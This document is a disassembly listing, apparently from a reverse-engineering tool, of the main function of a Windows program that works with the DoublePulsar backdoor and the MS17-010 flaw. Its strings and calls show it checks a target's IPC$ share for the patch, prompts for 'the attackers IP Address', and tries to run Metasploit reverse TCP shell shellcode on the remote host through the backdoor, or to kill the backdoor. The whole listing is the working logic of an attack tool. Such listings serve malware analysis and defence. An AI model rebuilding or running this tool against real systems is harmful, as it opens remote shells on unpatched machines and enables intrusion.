Function at 0x140011041
Capabilities:
Create thread

Disassembly:
jmp 0x14002a300
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x100
lea rbp, [rsp + 0x30]
lea rcx, [0x14004c2f8]
call fcn.140011726
lea rdx, [0x1400416a0]
lea rcx, str.127.0.0.1IPC_
call fcn.14001152d
cmp dword [rbp + 0xf0], 1
jne 0x14002a358
lea rdx, [0x1400416b0]
lea rcx, str.127.0.0.1
call fcn.14001152d
jmp 0x14002a434
cmp dword [rbp + 0xf0], 2
jl 0x14002a434
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0xf8]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_wcslen]
lea rax, [rax + rax + 2]
mov edx, eax
lea rcx, [0x140041690]
call fcn.140011500
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0xf8]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_wcslen]
shl rax, 1
mov ecx, 8
imul rcx, rcx, 1
mov rdx, qword [rbp + 0xf8]
mov rdi, qword [0x140041698]
mov rsi, qword [rdx + rcx]
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
mov r9d, 2
lea r8, [0x14003be70]
lea rdx, [0x140041700]
lea rcx, [0x140041690]
call fcn.140011096
test eax, eax
jne 0x14002a408
lea rdx, [0x1400416b0]
lea rcx, str.127.0.0.1
call fcn.14001152d
jmp 0x14002a428
mov eax, 8
imul rax, rax, 1
lea rdx, [0x1400416b0]
mov rcx, qword [rbp + 0xf8]
mov rcx, qword [rcx + rax]
call fcn.14001152d
lea rcx, [0x140041690]
call fcn.1400116b8
lea rdx, [0x140041708]
lea rcx, [0x1400416b0]
call fcn.1400110be
lea rax, [0x1400416f8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, qword [0x140041710]
lea r8, [0x14001168b]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x1400416f0], rax
cmp qword [0x1400416f0], 0
jne 0x14002a48d
mov byte [rbp + 0xc0], 1
jmp 0x14002a494
mov byte [rbp + 0xc0], 0
movzx eax, byte [rbp + 0xc0]
test eax, eax
je 0x14002a4ab
mov dword [rbp + 0xc4], 1
jmp 0x14002a4b5
mov dword [rbp + 0xc4], 0
cmp dword [rbp + 0xc4], 0
je 0x14002a4d4
lea rcx, [0x140041708]
call fcn.140011154
mov eax, 0xc0000008
jmp 0x14002aa7a
mov edx, 0xffffffff
mov rcx, qword [0x1400416f0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [0x1400416fc]
mov rcx, qword [0x1400416f0]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov rcx, qword [0x1400416f0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x1400416fc], 0
je 0x14002a568
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov dword [rsp + 0x20], 0x1bd
mov r9, qword [0x1400416b8]
lea r8, str.wmain
lea rdx, str.__S_:_host__ws:_u_has_been_most_likely_patched_to_MS17_10_n
mov rcx, rax
call fcn.1400115e1
lea rcx, [0x140041708]
call fcn.140011154
lea rcx, [0x1400416b0]
call fcn.1400113a2
mov eax, dword [0x1400416fc]
jmp 0x14002aa7a
lea rax, [0x1400416f8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, qword [0x140041710]
lea r8, [0x140011744]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x1400416f0], rax
cmp qword [0x1400416f0], 0
jne 0x14002a5c7
lea rcx, [0x140041708]
call fcn.140011154
lea rcx, [0x1400416b0]
call fcn.1400113a2
mov eax, 0xc0000008
jmp 0x14002aa7a
mov edx, 0xffffffff
mov rcx, qword [0x1400416f0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [0x1400416fc]
mov rcx, qword [0x1400416f0]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov rcx, qword [0x1400416f0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rbp + 0xf0], 3
jl 0x14002a9bc
lea rax, [0x140041700]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
lea rax, [0x140041690]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
mov dword [0x1400416f8], 0
mov qword [0x1400416f0], 0
mov eax, 8
imul rax, rax, 2
lea rdx, [0x1400416c0]
mov rcx, qword [rbp + 0xf8]
mov rcx, qword [rcx + rax]
call fcn.14001152d
lea rdx, [0x1400416d0]
lea rcx, str.__dopuexecshellcode
call fcn.14001152d
lea rdx, [0x1400416e0]
lea rcx, str.__dopukill
call fcn.14001152d
movzx eax, word [0x1400416c0]
movzx ecx, word [0x1400416d0]
cmp eax, ecx
jge 0x14002a6aa
movzx eax, word [0x1400416c0]
mov word [rbp + 0xc0], ax
jmp 0x14002a6b8
movzx eax, word [0x1400416d0]
mov word [rbp + 0xc0], ax
movzx eax, word [rbp + 0xc0]
mov r8d, eax
mov rdx, qword [0x1400416d8]
mov rcx, qword [0x1400416c8]
call fcn.140011618
test eax, eax
je 0x14002a846
mov ecx, 1
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea r8, str.wmain
lea rdx, str.__S__please_enter_the_attackers_IP_Address:_t
mov rcx, rax
call fcn.1400115e1
lea rdx, [0x140041720]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400116bd
mov ecx, 1
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, [0x14003bfd0]
mov rcx, rax
call fcn.1400115e1
lea rdx, [0x140041680]
lea rcx, [0x140041720]
call fcn.140011393
lea rax, [0x1400416f8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, qword [0x140041710]
lea r8, [0x1400115e6]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x1400416f0], rax
cmp qword [0x1400416f0], 0
jne 0x14002a784
mov byte [rbp + 0xc0], 1
jmp 0x14002a78b
mov byte [rbp + 0xc0], 0
movzx eax, byte [rbp + 0xc0]
test eax, eax
je 0x14002a7a2
mov dword [rbp + 0xc4], 1
jmp 0x14002a7ac
mov dword [rbp + 0xc4], 0
cmp dword [rbp + 0xc4], 0
je 0x14002a7ed
mov dword [0x1400416fc], 0xc0000008
lea rcx, [0x1400416d0]
call fcn.1400113a2
lea rcx, [0x1400416e0]
call fcn.1400113a2
lea rcx, [0x1400416c0]
call fcn.1400113a2
jmp 0x14002a9bc
mov ecx, 1
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea r8, str.wmain
lea rdx, str.__S_:_attempting_to_execute_metasploit_reverse_tcp_shell_shellcode_on_the_remote_host_using_doublepulsar..._n
mov rcx, rax
call fcn.1400115e1
mov edx, 0xffffffff
mov rcx, qword [0x1400416f0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [0x1400416fc]
mov rcx, qword [0x1400416f0]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov rcx, qword [0x1400416f0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14002a998
movzx eax, word [0x1400416c0]
movzx ecx, word [0x1400416e0]
cmp eax, ecx
jge 0x14002a868
movzx eax, word [0x1400416c0]
mov word [rbp + 0xc0], ax
jmp 0x14002a876
movzx eax, word [0x1400416e0]
mov word [rbp + 0xc0], ax
movzx eax, word [rbp + 0xc0]
mov r8d, eax
mov rdx, qword [0x1400416e8]
mov rcx, qword [0x1400416c8]
call fcn.140011618
test eax, eax
je 0x14002a998
lea rax, [0x1400416f8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, qword [0x140041710]
lea r8, [0x14001114f]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x1400416f0], rax
cmp qword [0x1400416f0], 0
jne 0x14002a8e1
mov byte [rbp + 0xc0], 1
jmp 0x14002a8e8
mov byte [rbp + 0xc0], 0
movzx eax, byte [rbp + 0xc0]
test eax, eax
je 0x14002a8ff
mov dword [rbp + 0xc4], 1
jmp 0x14002a909
mov dword [rbp + 0xc4], 0
cmp dword [rbp + 0xc4], 0
je 0x14002a944
mov dword [0x1400416fc], 0xc0000008
lea rcx, [0x1400416d0]
call fcn.1400113a2
lea rcx, [0x1400416e0]
call fcn.1400113a2
lea rcx, [0x1400416c0]
call fcn.1400113a2
jmp 0x14002a9bc
mov ecx, 1
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea r8, str.wmain
lea rdx, str.__S_:_attempting_to_kill_doublepulsar_backdoor..._n
mov rcx, rax
call fcn.1400115e1
mov edx, 0xffffffff
mov rcx, qword [0x1400416f0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [0x1400416fc]
mov rcx, qword [0x1400416f0]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov rcx, qword [0x1400416f0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x1400416d0]
call fcn.1400113a2
lea rcx, [0x1400416e0]
call fcn.1400113a2
lea rcx, [0x1400416c0]
call fcn.1400113a2
lea rcx, [0x140041708]
call fcn.140011154
cmp qword [0x140041688], 0
je 0x14002a9db
mov byte [rbp + 0xc0], 1
jmp 0x14002a9e2
mov byte [rbp + 0xc0], 0
movzx eax, byte [rbp + 0xc0]
test eax, eax
je 0x14002a9f9
mov dword [rbp + 0xc4], 1
jmp 0x14002aa03
mov dword [rbp + 0xc4], 0
cmp dword [rbp + 0xc4], 0
je 0x14002aa18
lea rcx, [0x140041680]
call fcn.140011154
cmp qword [0x1400416a8], 0
je 0x14002aa2b
mov byte [rbp + 0xc0], 1
jmp 0x14002aa32
mov byte [rbp + 0xc0], 0
movzx eax, byte [rbp + 0xc0]
test eax, eax
je 0x14002aa49
mov dword [rbp + 0xc4], 1
jmp 0x14002aa53
mov dword [rbp + 0xc4], 0
cmp dword [rbp + 0xc4], 0
je 0x14002aa68
lea rcx, [0x1400416a0]
call fcn.1400113a2
lea rcx, [0x1400416b0]
call fcn.1400113a2
mov eax, dword [0x1400416fc]
lea rsp, [rbp + 0xd0]
pop rdi
pop rsi
pop rbp
ret